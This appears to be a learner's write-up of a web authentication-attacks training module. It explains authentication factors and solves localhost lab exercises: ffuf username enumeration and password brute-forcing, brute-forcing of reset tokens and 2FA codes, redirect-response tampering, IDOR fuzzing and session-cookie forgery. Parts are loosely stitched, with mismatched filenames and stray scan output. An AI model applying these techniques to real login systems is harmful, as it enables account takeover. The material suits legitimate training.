What is Authentication?
According to RFC 4949, authentication is “the act of verifying a claim that a system entity or resource has a particular attribute value.” In the field of information security, authentication refers to confirming the identity of an entity—making sure that someone or something is truly who or what it claims to be.
It’s important to distinguish authentication from authorization. While authentication establishes identity, authorization refers to the permission granted to an entity to access certain resources. This module will not explore authorization in depth, but recognizing the distinction is essential:
- Authentication: verifies identity, happens first, and requires credentials.
- Authorization: determines what access is allowed, happens after authentication, and is based on policies.
Authentication in Practice
The most common way authentication appears in web applications is through login forms. Here, users provide a username and password to prove who they are. You encounter these forms everywhere—email platforms, online banking systems, and even learning platforms, which includes fields for email, password, “remember me,” and options for SSO, password recovery, and new account creation.
Authentication serves as one of the most fundamental safeguards in web security, forming the first barrier against unauthorized access. For penetration testers, assessing whether authentication is securely implemented is a critical task. In this module, we will examine common attack vectors and techniques used to bypass authentication, aiming to gain access without valid credentials.
Categories of Authentication Methods
Information systems can adopt different ways of authenticating users, usually grouped into three main categories:
- Knowledge-based factors (something you know)
Relies on secrets the user can provide, such as passwords, PINs, passphrases, or answers to security questions. - Ownership-based factors (something you have)
Requires possession of a physical or digital object. Examples include ID cards, smart cards, hardware tokens, or mobile apps generating one-time codes. - Inherence-based factors (something you are)
Depends on traits unique to the user. This includes biometrics like fingerprints, facial recognition, voiceprints, or behavioral identifiers such as handwritten signatures.
Examples:
| Knowledge | Ownership | Inherence |
|---|---|---|
| Password | ID card | Fingerprint |
| PIN | Token | Facial recognition |
| Security question | Authenticator app | Voice recognition |
Single-Factor vs Multi-Factor Authentication
- Single-Factor Authentication (SFA): Uses only one method, such as a password. This is simple but provides limited protection.
- Multi-Factor Authentication (MFA): Requires two or more different categories. For example, entering a password (knowledge) plus a one-time code from a mobile app (ownership). When exactly two factors are required, this is known as Two-Factor Authentication (2FA).
By combining factors, MFA significantly strengthens security, since compromising one factor alone is not enough for an attacker to gain access.
Attacks on Authentication
Authentication attacks can be analyzed according to the three primary categories of authentication methods: knowledge-based, ownership-based, and inherence-based. Each of these has unique strengths and weaknesses that attackers may attempt to exploit.
1. Attacking Knowledge-Based Authentication
Knowledge-based authentication (something you know) is by far the most common and, unfortunately, also the easiest to attack. Because it depends on static information—such as passwords, PINs, or answers to security questions—attackers can exploit it in multiple ways.
These weaknesses stem from the fact that personal information can often be:
- Stolen during data breaches,
- Guessed based on social engineering or OSINT (open-source intelligence), or
- Brute-forced using automated tools.
As cybercrime has advanced, adversaries have developed increasingly sophisticated methods to exploit knowledge-based systems, making this category of authentication particularly vulnerable.
2. Attacking Ownership-Based Authentication
Ownership-based authentication (something you have) offers stronger defenses against common threats like phishing or password guessing. Methods such as hardware tokens, smart cards, or authenticator apps raise the bar for attackers, since physical devices are harder to steal or replicate compared to information-based credentials.
However, ownership-based authentication is not immune to attacks or limitations:
- Practical challenges: Distributing, maintaining, and replacing tokens can be costly and complex, especially at scale.
- Physical attacks: Devices can be stolen, lost, or cloned. For example, NFC badges can sometimes be duplicated in public places such as transit systems or cafés.
- Cryptographic vulnerabilities: Weak or outdated algorithms may be exploited if attackers gain technical access to the system.
While more secure than knowledge-based authentication, this method still carries risks tied to the physical nature of the authentication factor.
3. Attacking Inherence-Based Authentication
Inherence-based authentication (something you are) relies on biometric traits like fingerprints, facial recognition, or voice patterns. These methods offer significant usability advantages: users don’t need to remember passwords or carry devices, and the login process is typically seamless. This often reduces risks associated with weak or reused passwords.
That said, biometric systems introduce their own unique challenges:
- Privacy and trust issues: Users may hesitate to provide biometric data due to concerns about misuse or surveillance.
- Bias and accuracy problems: Recognition algorithms may perform inconsistently across different demographics.
- Permanent compromise: If biometric data is stolen in a breach, it cannot be reset like a password.
A notable real-world example occurred in 2019, when attackers compromised a company that manufactured biometric smart locks. The breach exposed not only user credentials (usernames and passwords) but also sensitive biometric data such as fingerprints and facial scans, along with users’ addresses. Unlike knowledge-based credentials, biometrics cannot be changed, leaving victims permanently exposed.
Key Takeaway:
- Knowledge-based authentication is highly vulnerable to guessing, theft, and brute force.
- Ownership-based authentication raises the security bar but can be undermined by physical or cryptographic attacks.
- Inherence-based authentication offers convenience but carries irreversible risks if biometric data is compromised.
Enumerating Users
User enumeration occurs when an application reveals different responses for valid versus invalid inputs at authentication-related endpoints. These flaws often appear in username-centered functions like login, registration, and password reset flows.
Developers sometimes dismiss usernames as non-sensitive, but when a username is the main credential for accessing an account it should be treated as confidential. Users also frequently reuse the same usernames across other services (FTP, RDP, SSH, etc.), which multiplies the risk. When an application leaks whether a given username or email exists, an attacker can build a list of valid accounts and leverage that information for follow-up attacks against authentication. This problem is common because many web apps use a username or email as the primary user identifier and return distinguishable error messages or behaviors depending on whether the identifier exists.
Enumerate a valid user on the web application. Provide the username as the answer.
Use the command bellow to enumerate the user:
┌──(suricato㉿kali)-[~/Downloads]
└─$ ffuf -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -u http://127.0.0.1:53298/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=FUZZ&password=invalid" -fr "Unknown user"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://127.0.0.1:53298/index.php
:: Wordlist : FUZZ: /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : username=FUZZ&password=invalid
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Regexp: Unknown user
________________________________________________
[REDACTED] [Status: 200, Size: 3271, Words: 754, Lines: 103, Duration: 362ms]
Brute-Forcing Passwords
Once valid usernames have been enumerated, password authentication often becomes the next target. In most applications, the password is the only barrier left protecting the account. Because many users still choose weak or easily guessable passwords, attackers may attempt to guess them systematically through brute force or dictionary attacks.
Why Brute-Force Works
- Weak Passwords: Users often select short, common, or predictable passwords (e.g., “Password123”, “Summer2025”).
- Reused Passwords: Credentials leaked from one breach are often reused across different services.
- Unprotected Endpoints: If an application lacks controls like rate limiting, account lockouts, or CAPTCHA, attackers can attempt thousands of guesses without interruption.
Attack Scenario
An attacker first gathers valid usernames (through user enumeration). They then automate login attempts, iterating through a password list. Without protections in place, this can quickly lead to account compromise.
Example flow:
- Identify target login form.
- Submit requests with valid usernames + password guesses.
- Observe responses — successful login or behavior differences indicating a correct password.
- Automate with tools such as Hydra, Burp Suite Intruder, or custom scripts.
Mitigation
To defend against brute force attacks, applications should implement:
- Strong password policies (length, complexity, uniqueness).
- Rate limiting and lockout mechanisms after multiple failed attempts.
- Multi-Factor Authentication (MFA) to reduce reliance on just passwords.
- Monitoring and alerting for abnormal login activity.
What is one prominent issue with passwords?
One prominent issue with passwords is password reuse. When people reuse the same password across multiple websites or services, a single data breach can expose that password and allow attackers to access many of their accounts. This greatly increases the risk of identity theft and unauthorized access.
What is the password of the user ‘admin’?
Create a custom wordlist.
grep '[[:upper:]]' /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt | grep '[[:lower:]]' | grep '[[:digit:]]' | grep -E '.{10}' > custom_wordlist.txt
Use Ffuf to brute force password.
ffuf -w custom_wordlist.txt -u http://127.0.0.1:57821/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=admin&password=FUZZ" -fr "Invalid username"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://127.0.0.1:57821/index.php
:: Wordlist : FUZZ: /home/suricato/Documentos/Exercicios/custom_wordlist.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : username=admin&password=FUZZ
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Regexp: Invalid username
________________________________________________
[REDACTED] [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 224ms]
Brute-Forcing Password Reset Tokens
Many web apps offer a “forgot password” feature that issues a one-time reset token—sent by email, SMS, or another channel—so the user can prove ownership and create a new password. If that token is short, predictable, or generated insecurely, an attacker can guess or brute-force it and reset the victim’s password, effectively taking control of the account.
How an attack looks
- Attacker triggers a password reset for a target account (or monitors an already triggered reset).
- They repeatedly submit potential tokens to the reset endpoint (automated requests).
- If the token space is small or the service doesn’t throttle/lock attempts, a correct token will be found and the attacker can set a new password.
Why this is dangerous
- Reset tokens bypass the usual password check, so a weak token undermines the whole authentication flow.
- Because tokens are often delivered over channels that attackers can monitor or spoof (e.g., compromised email, SIM swapping), token strength and endpoint protections are critical.
Recommended defenses
- Use long, cryptographically secure, random tokens (sufficient entropy).
- Set short token lifetimes and mark tokens single-use.
- Enforce strict rate limiting and lockouts on the reset endpoint.
- Require additional verification for high-risk resets (e.g., MFA, security questions, or an extra confirmation email).
- Log and alert on abnormal reset activity (many requests, resets from new IPs, etc.).
On what do password recovery functionalities provided by web applications typically rely to allow users to recover their accounts?
Password recovery functionalities provided by web applications typically rely on a one-time reset token.
Which flag of seq pads numbers by prepending zeros to make them the same length?
The flag of seq that pads numbers by prepending zeros to make them the same length is -w.
How many possible values are there for a 6-digit OTP?
A 6-digit OTP can range from 000000 to 999999.
Calculate:
- Each digit has 10 possible values (0–9).
- So the total number of combinations is: [REDACTED]
Takeover another user’s account on the target system to obtain the flag.
Create a wordlist
seq -w 0 9999 > tokens.txt
Open the site and Burp Suite. Click on Reset your password button

Insert the username admin and click on SUBMIT button

Click on here button

Intercept the request with Burp Suite, right click on it and choose Send to Intruder. Configure the attack like the images bellow:


Click on Start attack button.

Sorry, I should have marked the Paylod value, not the Request. In this case, the value is 1187. Insert any valeu and intercept the request. Right click on it and choose Send do Repeater. Insert the valeu that we discovered and a passwod.

Go to the login page and insert the username: admin and the password that you insert in the Repeater tab.

Click on LOGIN button and get the flag.

Brute-Forcing 2FA Codes
Two-factor authentication (2FA) adds an extra security barrier designed to prevent unauthorized access to user accounts. In most cases, this protection is created by combining a password (something the user knows) with a second factor, such as a code from a mobile device (something the user has). However, 2FA can be implemented using any two of the three main authentication categories we discussed earlier.
This layered approach makes it far more challenging for attackers to compromise an account, even if they have already stolen the user’s login credentials. By requiring an additional verification step—like a one-time password (OTP) generated by an authenticator app or sent via SMS—2FA reduces the risk of account takeovers. Ultimately, this extra safeguard strengthens the overall defense of user accounts and lowers the chances of successful intrusions.
Brute-force the admin user’s 2FA code on the target system to obtain the flag. Authenticate to with user “admin” and password “admin“
You can resolve this exercise using the same way of the last exercise. Intercept the traffic using Burp Suite.
Right Click and choose Send to Intruder
Configure the attack
Start the attack to get the code
Insert the code to login the page.
Vulnerable Password Reset
We’ve already covered how attackers can brute-force password reset tokens to seize someone’s account. Still, even when an application has rate limits and CAPTCHAs in place, flaws in the password-reset business logic can be exploited to compromise other users’ accounts.
Predictable Security-Question Resets
Many sites let users recover accounts by answering one or more predefined security questions. During signup, users must choose answers to a fixed list of generic questions rather than creating their own. Because every user faces the same set of questions, an attacker can abuse this uniformity.
If you discover this kind of feature on a target application, it’s worth testing for abuse paths that allow bypassing normal authentication. The usual weakness is that the answers are often predictable. Typical examples include:
“What is your mother’s maiden name?”
“In which city were you born?”
Although these prompts appear personal, answers can frequently be uncovered via OSINT or simply guessed when brute-force protections are absent or insufficient.
Which city is the admin user from?
Download the wordlist
https://github.com/datasets/world-cities/blob/master/data/world-cities.csv
Use the command bellow to get only the cities names
cat world-cities.csv | cut -d ',' -f1 > city_wordlist.txt
Go to the web page and make the flow to reset password


After this, use Ffuf to try all cities names.
$ ffuf -w cities_germany.txt -u http://127.0.0.1
:56293/security_question.php -X POST \
-H "Content-Type: application/x-www-form-urlencoded" \
-b "PHPSESSID=5aazu1qooolqgf1dihb63c6c" \
-d "security_response=FUZZ" \
-fr "Incorrect response"
__
____/ /___ ____ ___ ____ ____
/ __ / __ \/ __ `__ \/ __ `/ _ \
/ /_/ / /_/ / / / / / / /_/ / __/
/_____/\____/_/ /_/ /_/\__, /\___/
/____/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://127.0.0.1:56293/security_question.php
:: Wordlist : FUZZ: /home/suricato/Documentos/Exercicios/cities_germany.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Cookie : PHPSESSID=5aazu1qooolqgf1dihb63c6c
:: Data : security_response=FUZZ
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Regex: Incorrect response
________________________________________________
Manchester [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 206ms]
Insert the city to change the password


Use the new password to login and get the flag.

Authentication Bypass by Direct Resource Access
After covering several attacks that exploit weak authentication implementations, this section demonstrates vulnerabilities that let an attacker completely skip authentication checks.
Direct access
The simplest method to bypass authentication is to request a protected resource directly from an unauthenticated context. If the application fails to confirm that the requestor is authenticated, an unauthenticated attacker may obtain sensitive content simply by requesting the protected endpoint.
For example, imagine a web app that, after a successful login, sends users to /admin.php and only intends to expose that page to authenticated users. If the application assumes the login page alone enforces authentication and doesn’t validate access for the /admin.php endpoint, an attacker can request /admin.php directly and potentially receive protected data.
This exact mistake is uncommon but a close variant appears in real-world vulnerable apps. Consider a PHP check like this used to decide whether a user is logged in:
if (!$_SESSION['active']) {
header("Location: index.php");
}
The code sends a redirect to /index.php when the session is not active (i.e., the user isn’t authenticated). However, because the script does not terminate after issuing the redirect, the rest of the page still gets processed and its content can end up in the HTTP response body.
In such a case the interaction looks like this: the request GET /admin.php results in a 302 Found response that redirects to index.php, but the response body contains the full admin page (HTML, stylesheet links, etc.). Browsers typically follow the redirect automatically and show the login page, hiding the admin content. But by intercepting the response and altering the status code from 302 to 200, an attacker can force the browser to render the admin page.
One simple way to perform that modification is to enable interception in a proxy (for example, Burp Suite), visit /admin.php from the browser, intercept the server response, change the status line from 302 Found to 200 OK, and then forward the edited response. The browser will then display the protected admin content even though the user was not authenticated.
Example outcome (after editing response to 200 OK):
http://<SERVER_IP>:<PORT>/admin.php
Dashboard: 283,000 monthly visitors
Posts: 105
Comments: 1,200
Users: 350
Navigation: Dashboard, Posts, Categories, Comments, Users
Mitigation
To stop sensitive content from being included in a redirect response, the server-side script must stop execution immediately after issuing the redirect. In PHP, add an exit (or die) after the header() call:
if (!$_SESSION['active']) {
header("Location: index.php");
exit;
}
This ensures no protected content is generated for unauthenticated requests and prevents the response body from leaking sensitive information.
Apply what you learned in this section to bypass authentication to obtain the flag.
Open the address
http://127.0.0.1:44370/admin.php

Intercept the request with Burp Suite. Right click on it and choose Do Intercept -> Response to this Request. Click on the button Forward

Change the Response from 302 to 200 and click on the Forward.


And go back to the browser

Authentication Bypass Through HTTP Parameter Manipulation
A significant authentication vulnerability arises when a system’s authentication logic relies heavily on the existence or the specific value of a particular HTTP parameter within a request. If the implementation is insufficiently rigorous and delegates critical authentication decisions to these parameters, a potential security flaw is introduced.
This insecure design choice can often be exploited to achieve both authentication bypass and authorization bypass, similar to the issues discussed in preceding sections. Successfully bypassing these checks typically results in privilege escalation, enabling an attacker to assume the identity or permissions of another user, potentially one with higher access rights (e.g., an administrator).
The vulnerability described here shares a close operational relationship with other specific authorization flaws. Notably, it is frequently found alongside Insecure Direct Object Reference (IDOR) vulnerabilities. IDOR vulnerabilities occur when an application uses a user-supplied input—often an identifier parameter—to directly access an internal object without sufficient authorization checks. These IDOR issues, which represent a critical class of security weaknesses in web applications, will be explored thoroughly and in greater detail within the dedicated Web Attacks learning module.
Detailed Examination of Parameter Modification
To illustrate this mechanism, we will now shift our focus to a practical example within a target web application. For the purpose of this demonstration and hands-on analysis, we have been provisioned with legitimate login credentials corresponding to the user account designated as stdnt. This specific user context will be utilized to demonstrate how modifying HTTP parameters can subvert the intended security controls and allow unauthorized access or actions.
Apply what you learned in this section to bypass authentication to obtain the flag.
Open the website and login.

Change the parameter from 183 to 1 and intercept the request with Burp Suite.

Get the sessid on Burp Suite.

Now use ffuf to brute force the id value
└─$ ffuf -w user_id.txt -X GET -b 'PHPSESSID=5jjq37u4rqnqe5i9ckk36h3q39' -u 'http://127.0.0.1:47577/admin.php?user_id=FUZZ' -fr 'Could not load admin data'
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://127.0.0.1:47577/admin.php?user_id=FUZZ
:: Wordlist : FUZZ: /home/suricato/Documentos/Exercicios/user_id.txt
:: Header : Cookie: PHPSESSID=5jjq37u4rqnqe5i9ckk36h3q39
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Regexp: Could not load admin data
________________________________________________
372 [Status: 200, Size: 14465, Words: 4165, Lines: 429, Duration: 838ms]
:: Progress: [1000/1000] :: Job [1/1] :: 13 req/sec :: Duration: [0:00:50] :: Errors: 3 ::
Use this value to get the flag.

Exploiting Session Token Weaknesses
Our analysis up to this point has concentrated on exploiting flawed implementations within a web application’s primary authentication mechanism. However, security vulnerabilities related to authentication aren’t solely restricted to the login process itself; they can also emerge from the application’s inadequate handling of session tokens.
Session tokens are crucial, unique identifiers that a web application issues and uses to maintain state and consistently identify a specific user across multiple requests. Fundamentally, this token is inextricably linked to, and represents, the user’s active session on the application. The security risk here is paramount: if a malicious third party, or attacker, successfully obtains a valid session token belonging to a different user, they can effectively impersonate that user to the web application. This grants the attacker the ability to take over the victim’s session and operate with their privileges and access rights.
Session Token Brute-Force Attacks
A critical security weakness arises when a session token is generated without adequate randomness, making it cryptographically weak. Specifically, if the token does not possess sufficient entropy, it becomes susceptible to a brute-force attack.
This attack vector involves systematically guessing and testing possible valid token values. This method is analogous to how one might attempt to brute-force weak password-reset tokens, a technique mentioned previously. Insufficient entropy can be caused by two primary issues: either the session token is too short, drastically limiting the range of possible values, or the token incorporates static, predictable data that fails to contribute meaningful randomness. When randomness is compromised, the attacker’s search space is dramatically reduced, making the successful prediction or discovery of a valid token feasible.
A session token can be brute-forced if it lacks sufficient what?
Entropy in this context refers to the level of randomness and unpredictability in the generated token. If the session token is too short or contains predictable (static) data, the number of possible values is small enough for an attacker to systematically guess a valid token, leading to session takeover.
Obtain administrative access on the target to obtain the flag.
Open the page and login with the credentials. Right click on the page and choose Inspector. Go to Application tab.

The session looks like it’s a hex value. So we need to decrypt it.
─$ echo "757365723d6874622d7374646e743b726f6c653d75736572" | xxd -r -p
user=stdnt;role=user
Change the value from user to admin and encrypt it again
└─$ echo -n "user=stdnt;role=admin" | xxd -p
757365723d6874622d7374646e743b726f6c653d61646d696e
Change the value and reload the page.

Skill Evaluation Exercise
Assignment Overview
Your current objective is to conduct a security assessment—specifically, a penetration test—on a web application owned by a client. Crucially, for the scope of this assessment, the client has withheld all login credentials. Your task is to apply and leverage the defensive and offensive techniques covered throughout this module to successfully compromise the application and ultimately retrieve the designated flag.
Obtain the flag.
Analyzing the page, we discovered that the message is different when you send a user that exists and one that doesn’t. So, we will use ffuf to get valid users.
ffuf -w /usr/share/seclists/Passwords/xato-net-10-million-passwords.txt -X POST -H ‘Content-Type: application/x-www-form-urlencoded’ -b ‘PHPSESSID=14stp4lhi1adphfggjscm66qpe’ -d ‘username=FUZZ&password=1234’ -u ‘http://127.0.0.1:54956/login.php’ -fr ‘Unknown username or password’
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
:: Method : POST
:: URL : http://127.0.0.1:54956/login.php
:: Wordlist : FUZZ: /usr/share/seclists/Passwords/xato-net-10-million-passwords.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Header : Cookie: PHPSESSID=14stp4lhi1adphfggjscm66qpe
:: Data : username=FUZZ&password=1234
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Regexp: Unknown username or password
alek [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 5442ms]
gladys [Status: 200, Size: 4344, Words: 680, Lines: 91, Duration: 217ms]
So, let’s try to brute force the password using the password policy implemented on the target to make the list rockyou smaller.
grep -P '^(?=.*[0-9])(?=.*[a-z])(?=.*[A-Z])[A-Za-z0-9]{12}$' /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt > rockyou_modificado.txt
And run ffuf.
└─$ ffuf -w rockyou_modificado.txt -X POST -H 'Content-Type: application/x-www-form-urlencoded' -b 'PHPSESSID=14stp4lhi1adphfggjscm66qpe' -d 'username=gladys&password=FUZZ' -u 'http://127.0.0.1:54956/login.php' -fr 'Invalid credentials'
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://127.0.0.1:54956/login.php
:: Wordlist : FUZZ: /home/suricato/Documentos/Exercicios/rockyou_modificado.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Header : Cookie: PHPSESSID=14stp4lhi1adphfggjscm66qpe
:: Data : username=gladys&password=FUZZ
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Regexp: Invalid credentials
________________________________________________
dWinaldasD13 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 656ms]
Insert the username and password on login page.

Here are the results: the “login,” “register,” and “profile” portals are the only ones actually functioning. You can confirm this by looking at the FFUF output — those three endpoints return multiple lines of content, while the others return just a single line, basically nothing.
Now we need to use Burp Suite again to bypass the OTP validation and access the “profile” page directly.
Why “profile”? Because we’ve already inspected the other two, so this is the last one left to analyze, right? This is exactly why paying attention to every detail makes a difference.
/'___\ /'___\
/\ \__/ /\ \__/
\ \ ,__\\ \ ,__\
\ \ \_/ \ \ \_/
\ \_\ \ \_\
\/_/ \/_/
v2.1.0-dev
───────────────────────────────────────
Method GET
URL http://127.0.0.1:30850/FUZZ.php
Wordlist FUZZ: /home/user/Documents/FFUF/directory-list-2.3-medium.txt
Follow redirects false
Calibration false
Timeout 10
Threads 40
Matcher Response status: 200-299,301,302,307,401,403,405,500
───────────────────────────────────────
# directory-list-2.3-medium.txt [Status: 200, Size: 6995, Words: 1375, Lines: 129, Duration: 145ms]
# Priority ordered case-sensitive list, where entries were found [Status: 200, Size: 6995, Words: 1375, Lines: 129, Duration: 148ms]
# This work is licensed under the Creative Commons [Status: 200, Size: 6995, Words: 1375, Lines: 129, Duration: 147ms]
# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 6995, Words: 1375, Lines: 129, Duration: 147ms]
# or send a letter to Creative Commons, 171 Second Street, [Status: 200, Size: 6995, Words: 1375, Lines: 129, Duration: 147ms]
# Attribution-Share Alike 3.0 License. To view a copy of this [Status: 200, Size: 6995, Words: 1375, Lines: 129, Duration: 147ms]
index [Status: 200, Size: 6995, Words: 1375, Lines: 129, Duration: 149ms]
. [Status: 200, Size: 6995, Words: 1375, Lines: 129, Duration: 148ms]
# Copyright 2007 James Fisher [Status: 200, Size: 6995, Words: 1375, Lines: 129, Duration: 147ms]
.. [Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 147ms]
# [Status: 200, Size: 6995, Words: 1375, Lines: 129, Duration: 153ms]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/
[Status: 200, Size: 6995, Words: 1375, Lines: 129, Duration: 154ms]
#
[Status: 200, Size: 6995, Words: 1375, Lines: 129, Duration: 154ms]
#
[Status: 200, Size: 6995, Words: 1375, Lines: 129, Duration: 157ms]
# on at least 2 different hosts
[Status: 200, Size: 6995, Words: 1375, Lines: 129, Duration: 157ms]
login [Status: 200, Size: 4253, Words: 656, Lines: 91, Duration: 145ms]
register [Status: 200, Size: 4245, Words: 655, Lines: 91, Duration: 144ms]
profile [Status: 302, Size: 3717, Words: 606, Lines: 78, Duration: 141ms]
db [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 137ms]
logout [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 139ms]
config [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 139ms]
[WARN] Caught keyboard interrupt (Ctrl-C)
Pay close attention — this final step is crucial, and getting it right is the key to gaining access and claiming your victory.
What we’re about to do is intercept and manipulate the request and response traffic between our attacking machine and the target web application using Burp Suite. Go to the login page, insert username and password and intercept. Right click on it an choose Do Intercept -> Requesto to this response. Click on the Forward button and change de response.

In the next request, do this step again and chage the response.

After that, click on Forward and open the browser.

